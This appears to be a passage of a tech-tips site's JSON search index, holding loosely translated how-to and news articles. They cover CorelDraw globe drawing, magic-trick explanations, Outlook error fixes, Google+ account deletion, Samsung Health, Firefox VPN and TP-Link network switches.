luck!\nncG1vNJzZmismaXArq3KnmWcp51kwKbAjKmYrKtdm7yzecWoo52domLApsCMqZisq6ekv6V506hkqaqfqbKkwIyfpqWclad6uLXToaaurF2ovKfA1pqpng%3D%3D\n","link":"/post/set-pass-for-folder-set-password-to-protect-folder-without-software/","section":"post","tags":null,"title":"Set pass for Folder, set password to protect folder without software"},{"body":"Earlier this month, engineers in the Xiamen city of Fujian, China, successfully moved the entire main station building of the Houxi Long-distance Bus Station, a distance of 288 meters and a 90-degree rotation to make room for A new high-speed train line.\nThe main station has five floors, including three floors above ground and two underground floors, with a construction area of ​​22,800 square meters and a total weight of more than 30,000 tons, equivalent to nearly 200 Boeing aircraft.\nBut Chinese engineers successfully moved this giant bus stop and rotated a 90 degrees while ensuring the entire building was intact, even without affecting any of the glass panels in the station.\n  Engineers in the project team have applied alternating push and pull technology to ensure stability on the move. This is the first project to apply this technology in the technology of moving massive buildings in China.\nGuinness World Records has recognized the relocation project of the main station of the Houxi long-distance bus station in Xiamen, Fujian Province, China, with a travel distance of 288.24 meters as the longest translational arc. of the way massive structures.\n  Below the main station, Chinese engineers use more than 500 jacks that can translate the length of a piston. These jacks are divided into two groups, A and B. Bus stops are supported by rotation and the frame is moved on a set rail.\nHow about using a stethoscope to listen to music? Ask this young man! ncG1vNJzZmismaXArq3KnmWcp51kxKLAwqFkqK2kYrOwvoycn6KmlaiybrzEqKelnV2ivLe1zaBkraCVYoBxfI9pq6imXZfCtHnSraapZaSkeq6typ5ksJmpYrOwvoytn55lnprEbsDRmqCn\n","link":"/post/watch-out-for-chinese-people-moving-the-30-000-ton-bus-stop-to-make-way-for-the-new-train/","section":"post","tags":null,"title":"Watch out for Chinese people moving the 30,000-ton bus stop to make way for the new train"},{"body":"Step 1 - Select the circle drawing tool ( Ellipse Tool ), draw a circle with a diameter of 10 cm by pressing Ctrl + left click and drag diagonally.  Figure 1\n- On the properties bar in the Object box (s) Size, type 10 cm, in the Nonproportional Scaling / Sizing box, select the lock icon (locked). Step 2: Draw meridians and latitudes - Select the circle. - Select Object - Transformations - Position : + Relative Position : select the box in the middle + Click Apply To Duplicate tab. - Select the newly created circle, press Shift + Left click in the second row (right or left), then drag in. We get an Ellipse (Figure 1). - Select Ellipse.   Figure 2\n  Figure 3\n  Figure 4\n  Figure 5\n  Figure 6\n  Figure 7\n- Select Object - Transformations - Position : + Relative Position : select the box in the middle + Click Apply To Duplicate tab. - Select the newly created Ellipse, press Shift + Left click in the second row (right or left) and drag in. We get a new Ellipse smaller. - Similar to the previous step, we create two more Ellipse shapes so that the distance between the Ellipse shapes is equal. We now have meridian lines (Figure 2). - Select the straight line drawing tool ( Bezier Tool ), draw a straight line 10 cm long. - In the center of the circles and the Ellipse, we get the equator. - Choose the equator. - Select Object - Transformations - Position : + Relative Position : select the box in the middle + Click Apply To Duplicate tab. - Select the Shape Tool , adjust the two ends of the line above the circle. - Click on the straight line, on the properties bar select Convert Line To Curve , left click on the middle of the straight line, pull down a bit, we get a curve (Figure 3). - Similar to the previous step, we draw 3 more curves then group all of these curves (Figure 4). - Select Object - Transformations - Position : + Relative Position : select the box in the middle + Click Apply To Duplicate tab. - In the properties bar select Mirror Buttons to flip back and move down the equator (Figure 5). Step 3: Draw the globe - Select the line drawing tool ( Bezier Tool ), draw the soil parts. Select the first circle, fill it with light blue, the meridians, the latitude and white, the soil is green (Figure 6). Step 4: Axis and base - Draw a circle with a diameter of 11 cm, cut in half vertically. - Select Object - Transformations - Position : + Relative Position : select the box in the middle + Click Apply To Duplicate tab. - Select the newly created half circle, drag a little bit. Select both halves of the circle, press Ctrl + L. Group it all, then turn to the right 15 degrees (Figure 7, 8). - Select the line drawing tool ( Bezier Tool ), draw the base and the axis. Fill it with black, as shown in Figure 9.   Figure 8\nFigure 9\n\nLam Khe\nncG1vNJzZmismaXArq3KnmWcp51ksLC%2BxKVknaqRrHpyfoydqZqvXam1pnnGpaabnQ%3D%3D\n","link":"/post/corel-draw-12-draw-the-globe/","section":"post","tags":null,"title":"Corel Draw 12: Draw the globe"},{"body":"Amazing magic tricks always attract attention not only for children but also for adults. Although we all know there are no mysterious magic in them, it is impossible to explain why magicians can do that.\nHere are the secrets behind the classic magic tricks in the world that one of us must also be amazed and admired. After reading this lesson, you will realize that just turning out magic is just that simple.\n1. Remove the rabbit from the hat Tool A rabbit A table covered with towels A magic hat A black square towel (coincides with the color of the magic hat) Perform   The magician tied the 4 corners of the towel to form a bag and put the rabbit inside.\nHang this bag into a hook on the side of the table toward the magician (the bag is covered by a tablecloth that makes the audience unable to see).\nOf course, before the \"magic\" they will show the audience that the hat is completely empty and put the hat face down on the table.\n  When performing, the magician distracts the audience with \"authors\" and quickly slips the bag into the hat. In the end, they just need to pretend to allow the rabbit to appear inside the hat and of course when the cap is removed, the audience will see the rabbit.\n2. Create white smoke from your fingers Tool A porcelain plate A matchbox Perform   First the magician puts the porcelain plate in the refrigerator for about 30 minutes. Then, they cut a face from the matchbox and removed the ignition paper. Fold this strip into two and burn it on a cold plate. When the ignition paper burns out, leave a brown layer.\nWhen performing the performance the magician will apply this substance to the fingertip. They just need to rub their fingers together, the white smoke will slowly rise in the audience's astonishment and astonishment.\n3. Metal spoon bend Tool A metal spoon A small silver coin Perform   Before doing so, the magician hides a small metal coin in the palm near the thumb.\nWhile performing, they move the coin so that only one corner appears to look like the top of the spoon to deceive the audience.\n  Next, they pressed the spoon firmly on the table and pretended to try to bend it while slowly tilting the handle of the spoon handle down inside the hand. Then the hand held the coin back out so that the audience mistakenly thought that they had bent the spoon.\n4. Cut people and swap body parts   The magician will prepare about 4 35cm tall boxes and a mobile base 20cm high.\nThe boxes above will have two layers of doors - real and fake doors. When placed on top of each other, they will create a door large enough for the assistant to enter. The assistant woman entered the four boxes, and stood on a hatch and the door opened to an empty space inside the mobile base.\nWhen the four doors closed, the girl quickly sat down through the hatch, crossed her legs inside the sole just sticking her head up. At the same time, the fake doors will open, inside are fake body parts corresponding to the body parts of the girl, dressed properly with the clothes the assistant is wearing.\nWhen the performance begins, the magician will unload the boxes and swap their positions with each other. When the doors of the boxes were opened, the audience only saw the swapped \"parts of the girl\".\n5. Make people fly in the air   The secret of this classic magic is the rack controller that raises the person to an S shape, attached to a transparent glass plate connected to the stage.\nThe assistant of the magician is usually a girl wearing a long skirt that will lie on the table so that the skirt hangs down and is covered with a large towel to hide the space directly below the table.\n  When magicians are allowed to cast magic, the lifting rack will be activated thanks to the floor control system. To increase the mysterious part the girl will pretend to be hypnotized.\n  The audience will be even more confident when the magician uses a large ring running along the hovering girl's body.\nDuring the performance, the magician will carefully cover the horizontal bar of the rack that keeps the girl floating on the table.\nncG1vNJzZmismaXArq3KnmWcp51ksaavzp2cZpuclsC0tcJmpJqfmZh6tb7InKKsZZmjerW0xGauqKqcmQ%3D%3D\n","link":"/post/decode-classic-magic-tricks-in-the-world/","section":"post","tags":null,"title":"Decode classic magic tricks in the world"},{"body":"For those who regularly shop online or bank transactions over the Internet, it is essential to protect your account against dangerous malicious code. In 2017, the whole world was shaken by the ransomware attack - the extortion code. Make users pay thousands of dollars to get back data from these hackers. To protect Avast Internet Security 2018 users from being released, while not a cap version, Avast Internet Security can still provide users with features to protect your computer from harm. from viruses, spam, email, external attacks .\nIn the following article, Network Administrator will guide you how to receive file license key software Avast Internet Security 2018 with a term of 6 months.\nPrepare the following files: Avast Internet Security\nhttps://install.avcdn.net/iavs9x/avast_internet_security_setup_online.exe File license copyright Avast Internet Security 6 months:\nhttps://goo.gl/5SJCD3 Instructions for installing and activating copyright Avast Internet Security Step 2:\nAfter completing the installation of Avast Internet Security software. You start the software to activate copyright.\nStep 3:\nClick Menu - My licenses\n  Step 4:\nThen click Enter a valid activation code key icon.\n  Step 5:\nContinue to click Use a lincense file . And locate the file file you downloaded.\n  So you have completed the installation of copyrighted software Avast Internet Security 2018.\nHope you are succesful.\nSee more:\nWhat to do if your computer has a virus? Kill viruses, Windows 7 trojans without downloading software The steps to clean up the virus 'Activate this edition of Windows' attack your Windows computer ncG1vNJzZmismaXArq3KnmWcp51ktKbAjG9kpqeeqbW0ecWrnJ5lpaiybrvFZpivmaOpeqq6056pp52kYsCmr9SroK2xXai8p8DWmqmeZWJlfnk%3D\n","link":"/post/get-6-months-free-use-of-avast-internet-security-software-2018/","section":"post","tags":null,"title":"Get 6 months free use of Avast Internet Security software 2018"},{"body":"In Word and Excel, the default unit is Inch (In), but do not worry, we can convert their units to Centimeters for ease of use. In this article, Software Tips will guide you how to adjust to cm units in Word, Excel.\n  I. How to convert to centimeters in Word Step 1: You proceed to start Word on the computer and select the File item .\n  Step 2: Then, you select the Options tab to open the settings on the Word software.\n  Step 3: Finally, select the Advanced tab and set Show measurements in units of: Centimeters .\n  Then, click OK to save your settings. Immediately, your Word software will be converted to Centimeters (Cm) in measurement units.\n  II. How to adjust to centimeters in Excel Step 1: You proceed to start Excel on the computer and select the File item .\n  Step 2: Then, you select the Options tab to open the settings on the Excel software.\n  Step 3: Finally, select the Advanced tab and set the Ruler Units: Centimeters section .\n  Then, click OK to save your settings. Immediately, your Excel software will be converted to centimeters (centimeters) in measurement units.\n  In this article, Software Tips showed you how to convert to Centimeters (Cm) units in Word and Excel software. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmUn8K0wIytpmabnWLCr7XTrGSipl2svLOwjJ6vnJ2c\n","link":"/post/how-to-adjust-to-cm-units-in-word-excel/","section":"post","tags":null,"title":"How to adjust to cm units in Word, Excel"},{"body":"However, phones are not priced like most other basic necessities. A smartphone that serves the purposes you need it for can cost a thousand dollars or more.\nPhone service providers offer payment plans which give you a phone along with a certain amount of call minutes and data. But if you already own a phone, you may be reluctant to add an extra expense to your budget. The problem is that this leads many people to hang onto old phones far longer than they should.\nIf you find yourself in a position in which you are using a phone that constantly dies, malfunctions, or is simply on the verge of falling apart, you need to replace it. Your phone is such a vital part of your life that you shouldn't wait until you have no other choice.\nThat said, you will have to find a way to fit a phone plan into your budget. Use the following tips.\n  Add your device to your renters insurance One of the associated costs when buying a new phone is insurance. However, most people have very little idea of what you need to know about mobile phone insurance and end up making bad decisions.\nMobile phone insurance is necessary, especially if you are on a payment plan. If your phone is stolen or lost and you are still paying it off, you will have to continue paying for it even as you buy a replacement. However, do not go for the insurance they offer you at the service provider.\nInstead, do some research on what your renters or homeowners insurance includes. It should cover your possessions, with a few exceptions. If your electronic devices are not covered, you can add them to your plan for a much smaller fee than if you insured them with your network provider.\nSacrifice This is the last thing anyone wants to do when budgeting. Sacrificing luxuries is not something that should be idealised. You deserve to enjoy life. However, there will be items on your budget that don't add all that much value to your life.\nMaybe you eat out more often than you should and don't actually enjoy it. A phone plan can cost less than one meal out a month. If you start making coffee at home rather than buying a cup every morning, you could save enough to afford a better phone.\nDon't compromise your quality of life. Rather, consider how a new phone will improve your quality of life more than the sacrifice of certain luxuries will harm it.\nFind a side hustle Finding a side hustle in 2022 is a good idea regardless of whether you need a new phone. Making extra income to make ends meet is the most obvious reason for this, but not the only one. Having a side hustle gives you further stability in a world that no longer makes as much sense as it used to.\nWe've seen how quickly the world can change and millions of jobs can be lost. Having alternative ways to make income gives you the ability to keep your head above water even if you lose your permanent job. People who were already working in the gig economy were better prepared for the impact of the pandemic on their work lives.\nA side hustle also has the opportunity to become your primary source of income if you dedicate enough time to it. Many people start a side hustle because they recognize they can earn money doing something they love. When they see that it could be their primary income source, they start living a much more fulfilling life.\nStart a side hustle to add to your income and you will not have to sacrifice in order to afford that new phone. In fact, you may end up with more room to spend rather than less.\nThe above tips will help you afford a new phone on a payment plan before you are in desperate straits. Don't wait until your phone dies when you need it most. Start budgeting and you can get the new phone you need.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpqlmbSmwIytpmaZlpu8s7CMmmSnnadivam7zZ4%3D\n","link":"/post/how-to-budget-to-afford-a-new-phone/","section":"post","tags":null,"title":"How To Budget To Afford A New Phone"},{"body":"In addition to the popular Google services that users will be using after creating a Google account such as Gmail, Youtube, you will be able to use additional networks to wash Google+. This Google+ social network supports many features such as Circles to connect contacts accounts into information sharing groups. Or Hangouts for group video chat, .\nSo if you don't want to use Google+ and want to delete your Google+ account, does it mean that we have to delete Google accounts and Gmail accounts? In fact, Google+ uses the same Google account with Gmail, but you can completely delete your Google+ account and still be able to keep your Gmail account, with a very simple way to do it. Let's learn how to delete the Google+ profile in the following article of Network Administrator.\nHow to block other people on Google+ Instructions for deleting Google accounts permanently 40 tips for Google Plus users Instructions to delete Google+ still retain Gmail account Note to users , before deleting your Google+ account, you need to check all the data on your account and perform the necessary backup of Google+ data.\nStep 1:\nIf you are logged in to your Google+ account, at the main interface of Google+, click on Settings .\n  Or we can quickly access the link below to open the Settings interface on Google+.\nhttps://plus.google.com/u/0/settings Step 2:\nSwitch to the new interface and scroll down to the bottom option of the interface, click on Delete your Google+ profile in the Account section .\n  Step 3:\nIn order to confirm the account holder, users will need to enter the password for the Google account . Enter the password and then click Next to proceed.\n  Step 4:\nNext in the Delete your Google+ profile interface, scrolling down will have 2 options to delete the Google+ account . Check both of these options to agree to the terms that Google announces. Click the Delete button to agree to delete the account.\n  Finally, Google will ask you why you want to delete your Google+ account. Check on the reasons provided by Google, or you can click on the Other item and then click Submit to complete the operation to delete the Google+ account.\n  So the Google+ account has been deleted without deleting the Gmail account. All data of Gmail account remains the same. If you want to recreate your Google+ account, just click on the Join Google+ button to join again.\nSee more:\nWant to secure your Google account? Do not ignore the following! How to log out of your Google account on devices Instructions for permanently deleting Google history I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVobK1sYyaZKCnn5y5pnnAnJqorZ6perTAyKWjZqOVmr20ecammKKkXZawpLvUp6s%3D\n","link":"/post/how-to-delete-a-google-account-still-keeps-gmail-account/","section":"post","tags":null,"title":"How to delete a Google+ account still keeps Gmail account"},{"body":"One of the most popular ways to download YouTube videos is to use Coc Coc browser. You will not need to install another support program, or use online services to download Youtube videos to your computer. As soon as we access any YouTube video, we will see the Download button on the video interface. This is considered one of the outstanding availability of Coc Coc browser.\nAnd in the new version, Coc Coc has updated the option to download audio from Youtube videos. You also do not need to use additional support program, because this is a feature available on Coc Coc browser for Youtube video. Besides, the browser also supports choosing different quality downloads for audio files from Youtube videos.\nFirst of all, you need to download Coc Coc browser in the latest version for your computer according to the link below.\nDownload Coc Coc browser Step 1: We access YouTube videos that want to download audio files. At the video interface, click on the Quality button : High to choose to download audio files from the video.\n  Step 2: After that, we choose the file format to download as mp3 audio . Coc Coc browser supports us to download audio with 2 quality of 128 kbps or 320 kbps.\n  Step 3: When choosing the quality of downloading audio files from Youtube videos, users click the Download button at the side.\n  Coc Coc browser will conduct the process of converting Youtube videos to audio files. You will see the transition in the lower left corner of the screen.\n  Step 4: When the conversion process was successful, the video was converted to audio format. You just need to use music programs like Windows Media Player, VLC Player, . to open the audio file is finished.\n  A very useful feature on Coc Coc browser. Now, you can not only download Youtube videos, but also have audio files converted from Youtube videos right away, without any software or program support. The conversion to audio files is also quite fast.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyfrLutu8CdZJqtlJ68brLIpZysZZanvK552Kisra2Smnq3tcOepqxln6N6pLvCZpqomw%3D%3D\n","link":"/post/how-to-download-audio-files-from-youtube-videos-on-coc-coc/","section":"post","tags":null,"title":"How to download audio files from Youtube videos on Coc Coc"},{"body":"This is similar to the problem of email stuck in Outbox.\nThe server name you entered cannot be found on the network (it might be down temporarily). Please verify that you are online and that the server name is correct. If you are online, then you can almost be sure it's the wrong hostname problem. But this is not always the case. After updating Windows, many users have seen this error, even if their hostname is correct.\nFix Outlook 0X800408FC This guide shows you how to fix Outlook 0X800408FC error. Follow the troubleshooting steps below to repair your Outlook.\n1. Confirm that you are connected to the Internet Before you start to troubleshoot Outlook 0X800408FC error, you should be aware that this problem is usually caused by connection problems. Therefore, check your Internet connection to make sure you are online.\nCheck the network icon on the taskbar to see if it is connected. If in doubt, hover the mouse over it. If it receives a message Not connected , that's the source of the Outlook 0X800408FC error. Alternatively, launch a web browser and go to a random site, such as www.TipsMake.com. If the page doesn't open, fix your Internet connection.\n2. Edit Outlook email account settings Another factor that can cause Outlook 0X800408FC error is incorrectly configuring Outlook email account settings, such as incorrect hostname. To fix this problem, you need to reconfigure your Outlook.\n3. Edit mail server settings Launch Outlook and click the File menu . Select Account Settings from the right pane. From the drop-down options, click Server Settings.\n  Verify that the username, password, server, port, and encryption methods are correct. If in doubt, use the following options if available:\nIncoming server port (POP3): 995 or 993 Outgoing server port (SMTP): 465 Check the My outgoing (SMTP) server requires authentication checkbox . Then, click the OK button to save the changes and restart Outlook. 4. Allow Outlook files to pass through the firewall Windows Firewall protects the system from malicious activities. Therefore, this solution is not recommended. The article recommends you just try it to see if that is the cause of the Outlook 0X800408FC error.\nPress the Windows key and look for Firewall. Open Windows Defender Firewall with Advanced Security from the suggestions.\nSelect Inbound Rules and click the Action menu .\nFrom the drop-down options, select New Rule.\nOn the Rule Type window , select the Program option and click the Next button .\n  Select This program path and click the Browse button . Go to the following path:\nC:Program FilesMicrosoft OfficerootOffice16 NOTE : The path might be different in your Outlook installation and version, especially the Office16 part . Get your exact folder by right-clicking on the Outlook iconand choosing Open file location .\nIn this folder, select Outlook.exe and click Open. Click the Next button to continue.\nSelect Allow the connection and click Next.\nMark the checkboxes next to Domain, Private and Public . Click Next.\nFinally, give the rule a name and an optional description. Click the Finish button to complete the process.\n5. PING mail server Ping is a network connectivity process that tests communication between a particular channel. It is also used to confirm that a network destination is accessible.\nFirst, select the correct mail server and open Command Prompt. For this tutorial, we will assume that your mail server is mail.yourhost.com.\nIn the Command Prompt window, enter the following command:\nping mail.yourhost.com Remember to change mail.yourhost.com to your real mail server address. Press the ENTER key after entering the above command to run it.\nYou will receive a response from the mail server or an error in the process. If the response indicates that the service timed out or the server cannot be found, the mail server is faulty, incorrect, or you are offline.\n6. Use Outlook in Safe Mode   Now, Outlook account and connection issue have been fixed. The next step is to confirm that the Outlook application itself is free of errors. For this you need to use Safe Mode.\nThis method also checks for problems on your profile. Here's how to do it.\nPress the Windows key and click the search box at the bottom.\nEnter the following command and press ENTER.\noutlook.exe /safe Select a profile. If something goes wrong, you will immediately get a notification that your profile is corrupt or there is a conflict from other add-ins or software.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqwwdOlpqijXWXFeXyPbWdxnpNivK951qKlnaenqHpyfA%3D%3D\n","link":"/post/how-to-fix-outlook-0x800408fc-on-windows-10/","section":"post","tags":null,"title":"How to fix Outlook 0X800408FC on Windows 10"},{"body":"In this article, TipsMake will guide you on how to set up sound on Chromebook.\nOn a Chromebook device, click the status section at the bottom right corner of the screen to bring up the quick settings panel. Select the settings icon to enter the Chromebook's Settings menu .\n  Scroll down until you see the Advanced button and swipe to see more options.\n  Find the Accessibility item , in that section select Manage Accessibility Features .\n  From the bottom of this page, find and enable the Play Sound on Startup option .\n  In case you have trouble getting to this menu, you can find the option's name in the search bar at the top of the Settings menu .\nNow your Chromebook will turn on the sound every time you open it. The sound only appears when you start to turn on when the machine is completely turned off, and if you turn on the device from sleep mode, nothing will sound.\nThe volume of the opening sound depends on the speaker system of your Chromebook. Therefore, if you want to mute or turn on loud enough, adjust the volume right above the speaker volume on the device.\nIn addition, a Chrome utility called Startup Sound for Chromebook will help you install other opening sounds from operating systems like macOS or even Windows XP.\nWhen the installation is complete, click the icon from the extension tray on the right corner of Google Chrome.\n  Select an opening sound on the list and then click Save .\n  Unlike Chrome OS's built-in opening sound, the sound in this extension is activated every time you unlock your Chromebook, even when opening from sleep mode.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVqXq1tMRmpqmdnp67qHnSqKynnF2ku26vx6umpp2SpLys\n","link":"/post/how-to-set-the-opening-sound-on-chromebook/","section":"post","tags":null,"title":"How to set the opening sound on Chromebook"},{"body":"When trying to get in shape, lose weight or build healthier habits, having a health tracking app will help you to reduce a lot of stress. Samsung was certainly aware of this when it released Samsung Health , formerly known as S Health .\nSamsung Health - the center to track all health habits\u0026nbsp; Samsung Health acts as a hub to store everything about health, such as workouts, drinks, even the ability to connect to running applications to get all the information you want in a single place. . There is a lot going on in this app, but the purpose is to help you control your health.\nSamsung Health is a center for monitoring all health habits\u0026nbsp; When you go out to take your dog for a walk or jog, your phone will detect the motion and track it. The main page of the app has various activities you want to track, including daily steps, heart rate and stress level, but you can personalize it to your liking, to keep track of what things like drinking water, caffeine, sleep and weight control. There is also a specific activity tracker for a variety of different exercises, including running, cycling, and hiking.\nSet up and complete the profile The user profile in Samsung Health is how you track your activities within the app. You can add photos, nicknames, emails, height, weight, gender, age and activity level to really make Samsung Health your own.\nYour profile includes rewards for ongoing activity, best performance during training, weekly summaries of operating habits and history of any program you decide to join. Basically, profiles allow you to review your progress and receive small rewards for taking steps towards a healthier lifestyle.\nSet achievable goals Once you've decided what habits you want to change or follow, the next thing you need to do is set goals. Have goals to control your weight, exercise, etc.\nProfiles need to be set in advance because these goals are based on changing current habits.\nOnce you've set your goals, you'll see an indicator at the top of the main page within the Samsung Health app, letting you know how much you've accomplished to reach your set goal. If you click on the indicator, there will be an in-depth analysis of daily activities, calories burned and lots of information directly related to your goals. There is also a page showing long-term trends to track progress and rewards for achieving goals.\nPractice with friends You can set fitness goals with your friends with Samsung Health Not everyone likes to work alone. Having someone to compete with and cheer on can help you focus on your fitness goals. Although Samsung Health is primarily concerned with your progress, the Together tab in the app is also community-driven.\nThere are monthly community challenges you can join, by actively finding and adding friends. There are also challenges for you and your friends so you can aim for even bigger goals.\nConnect and synchronize data with other applications It seems that each person has dozens of applications dedicated to health and fitness. From specific apps for monitoring your blood pressure or weight to your calorie counter, you've probably installed at least one health app. Thankfully, Samsung Health can work with many different applications, allowing you to connect them and have all information from those applications synchronized with Samsung Health.\nWith this advantage, you can continue to track your meals with My Fitness Pal , then view that information displayed in Samsung Health.\nWhich phones are compatible with Samsung Health? You might think Samsung Health would be an exclusive option for Samsung phones, but it's not. The application supports all Samsung smartphones from Galaxy S3 onwards, as well as non-Samsung Android phones. Only Android 4.4 KitKat or above and minimum 1.5GB of storage are required for the application to work properly. This application is also available on iPhone and requires iOS 9.0 and above.\nThe app is usually pre-installed on new Samsung phones, but can be downloaded from the Google Play Store and Apple App Store.\nDownload Samsung Health for Android https://play.google.com/store/apps/details?id=com.sec.android.app.shealth\u0026amp;hl=en_US\nDownload Samsung Health for iOS\u0026nbsp;\nhttps://apps.apple.com/app/id1224541484\nncG1vNJzZmismaXArq3KnmWcp51kuaat0adkmpqfqsFuwMeeZKyZnajCr7OMoZyapKSdeqK8zw%3D%3D\n","link":"/post/learn-about-the-samsung-health-app/","section":"post","tags":null,"title":"Learn about the Samsung Health app"},{"body":"Captain America, also known as Captain America with his real name is Steven \"Steve\" Rogers. He is a former US soldier in World War 2. The first Super Warrior in the world after taking part in the Super Soldier Serum test. Before that, he was still a rickety boy and extremely weak.\nAfter taking part in the experiment, Steve gained considerable strength, he reached a physical peak that no normal person could have. The physical criteria that Cap can possess such as physical strength, speed, reflexes, stamina, flexibility and flexibility all reach the maximum threshold.\nCaptain America represents the whole of America to fight for freedom and justice. When mentioning Captain America, people will think of his symbol immediately. It was the shield made from vibranium that appeared on every front and was his favorite combat weapon. This is also a symbol used by many people as a wallpaper, below is a summary of Captain America wallpapers on computers and laptops.\nMore than 70+ synthetic Naruto wallpapers for computers Synthetic 70+ coffee wallpapers, coffee background images for computers, laptops Synthetic 70 cute cat wallpapers for phones Collection of 50+ unique wallpapers for Samsung S10 / S10 + to help cover \"mole\" camera More than 60 Captain America wallpapers for computers and laptops Due to the high image quality, the size will be large, so Quantrimang resizes the image for your reference. If you want to download Captain America wallpaper with default resolution, scroll down to the bottom of this set to get the download link.\n  Captain America wallpaper\n  Beautiful Captain America wallpaper\n  The most beautiful Captain America wallpaper\n  Captain America wallpaper\n  Captain America 4K wallpaper\n  Captain America full HD wallpaper\n  Wallpaper Captain America\n  Captain America background image\n  The most beautiful Captain America background image\n  Captain America wallpaper for laptop\n  Photo of Captain America 4K\n  Captain America wallpaper full hd\n  Captain America wallpaper of high resolution\n  Image of the most beautiful Captain America\n  Picture Captain America\n  Beautiful Captain America image\n  Picture Captain America for the computer\n  Photo Captain America full hd\n  Picture Captain America 4K\n  Captain's computer wallpaper\n        Above is a combination of high resolution Captain America wallpapers for computers and laptops. As mentioned above, the image has been Resrimang Resize for your reference. Link download Captain America wallpaper set of default resolution I will leave below for you to download.\nLink to download Captain America wallpapers for computers\nncG1vNJzZmismaXArq3KnmWcp51kurC%2BxGaroZmeYoNxeceinqFloprAsLjUraCopl2YrrHAwKKlZpmdmr%2Bqr8BmrpqknKWusbHRrGSfp6JisLC5z66rnqqjYq6vsIylmKmsn6XA\n","link":"/post/more-than-60-high-resolution-captain-america-wallpapers-for-computers-and-laptops/","section":"post","tags":null,"title":"More than 60 high resolution Captain America wallpapers for computers and laptops"},{"body":"Following the launch of the Firefox Private Network (FPN) service in September last year as a browser extension and well-received by the user community, Mozilla, recently released a version of the app. for this service on Android and Windows, as a beta release and restrict test users to certain areas.\nThe Firefox Private Network is one of Mozilla's latest efforts to provide users with optimal privacy when participating in the internet, such as blocking abusive ads, hiding IP addresses or blocking activities. online tracking. By using virtual private network (VPN) services like the Firefox Private Network, you can better protect yourself when connecting to high-risk networks, such as public Wi-Fi.\nAccording to information posted on the FPN's official website, this application is currently available for Windows 10, Android and Chromebooks. While iOS, Mac and Linux versions will be coming out later this year. A comprehensive security package for the device (connecting 5 devices simultaneously) costs $ 4.99 per month and uses multiple servers in more than 30 countries.\nThere is also a browser-level protection pack available for free on Firefox, as long as you have a Firefox account to use it. This free extension is currently only available in the US market, giving you free access to the service for 12 hours per month as a separate 12 hours.\nBecause the application is still in beta, users need an invitation to sign up for the trial. In Vietnam, you can join the waiting list to receive an invitation to experience when the service is ready, by visiting and leaving information at the website https://fpn.firefox.com/vpn/invite.\n  Mozilla said the company is working to bring this useful service to other platforms and regions around the world right this year.\nncG1vNJzZmismaXArq3KnmWcp51kurDGyKWjmmWclsKvr8eeqmaemaeyp7vXZq2ppl2WvbG4yJyYraGfo3qjsdOa\n","link":"/post/mozilla-launches-firefox-vpn-application-beta/","section":"post","tags":null,"title":"Mozilla launches Firefox VPN application beta"},{"body":"1. TP-Link 5-Port Gigabit Ethernet Network Switch - Best semi-duplex switch   Main features:\n- Buffer 1MB : This figure is not too brilliant but still amazing for such a switch. You will be able to use all 5 ports at the same time with no performance loss.\n- Optimized automatic traffic : Although not customizable like a switch with optional traffic management implementation, but it improves network performance without requiring you to know much about computers.\n- Supports VLAN . This is another feature aimed at small businesses. Larger companies have many efficient ways to create virtual LANs, but smaller companies can now run their own VLANs in the office.\nThe TP-Link 5-Port Gigabit Ethernet Network Switch is an excellent choice for households or small businesses that need a few extra devices to the network. It has a sturdy metal case and is a Gigabit switch, meaning it won't slow you down.\nHowever, the TP-Link 5-Port Gigabit Ethernet Network Switch does not provide any network management options. If you are a larger business or have an IT staff member who knows what they're doing, you might want to switch with more settings.\nThis switch doesn't offer the most customization, but is a great choice for home users or for small businesses that don't have a dedicated IT staff.\nAdvantages\n5 Gigabit ports Automatically optimize traffic Semi-duplex mode optional for legacy equipment Buffer 1MB Semi-duplex mode Solid metal shell Defect\nThere is no option to manage the network No Power over Ethernet (PoE) feature 2. TP-Link TL-SG1005D 5-Port Unmanaged Gigabit Desktop Switch - The least expensive Gigabit switch   Main features:\n- Inexpensive : If you need to increase network capacity and their local budgets are limited, this switch will be selected accordingly.\n- Mode Automatic energy saving : You will only supply power to the port is actually running. This saves energy consumption.\n- Plug and play : Just plug this switch on, connect your device is ready to use. No additional configuration required.\nThe TP-Link TL-SG1005D is an inexpensive switch for those who need quick connectivity at a low price. This is a great option for small businesses or those who want to connect a few more devices in the home. Gigabit speed is fast enough for any modern electronic device. The automatic energy-saving feature will help you not to waste money when not using the switch and the 1MB buffer is enough for most household use.\nHowever, you won't get many options with this switch. It does not provide power over Ethernet and does not allow you to manage your network traffic. It also doesn't support semi-duplex mode, so you'll need to replace your old hardware or buy a switch that supports semi-duplex.\nThis switch does not do everything, but enough for basic needs. Users will love the ease of use of the device, but businesses may need to look for another option.\nAdvantages\n5 Gigabit ports Automatic energy saving mode Buffer 1MB Very cheap Defect\nPower over Ethernet is not available There is no option to manage the network Half duplex mode is not supported 3. TP-Link 8-Port Gigabit Ethernet Network Switch - The best energy-saving switch   Main features:\n- Network Management : With this switch, you can monitor your network traffic and prioritizing certain types of traffic than others. You can also grant special or limited permissions to individual users.\n- Supports half-duplex mode option : This is very good for small business security system or the old POS system. There is no need to upgrade the rest of the hardware just for the switch to work.\n- Power Saving Features : This switch only supplies power to the currently active ports. If you only use 4 ports, you won't have to pay for all the 8 ports the switch provides.\nThe TP-Link 8-Port Gigabit Ethernet Network Switch is a step up from the previous two TP-Link switches we've reviewed, mainly because it has a network management port. That puts this switch ahead of the competition, as it's useful for large businesses, apartments, and dormitories. It is also useful for small businesses as semi-duplex mode is available.\nOn the other hand, this is not the best switch for smart home appliances or industrial control devices as it does not provide power over Ethernet. It also has limited VLAN support, so users who need a highly secure switch will probably want something with more options.\nThis is a great switch for the price. If you need network management and don't have to worry about supporting legacy options, consider this switch.\nAdvantages\n8 Gigabit ports Network management options are available Buffer 2MB Semi-duplex mode optional for legacy equipment Hard steel case Defect\nPower over Ethernet is not available Limited VLAN support 4. TP-Link 5-Port Fast Ethernet Switch - The cheapest switch   Main features:\n- Very low : This is the cheapest you'll find a switch for a good review.\n- Mode save energy : Switch not only deactivate the empty port, it also tracks the demand signal and your cable lengths. You will not pay a penny more than is 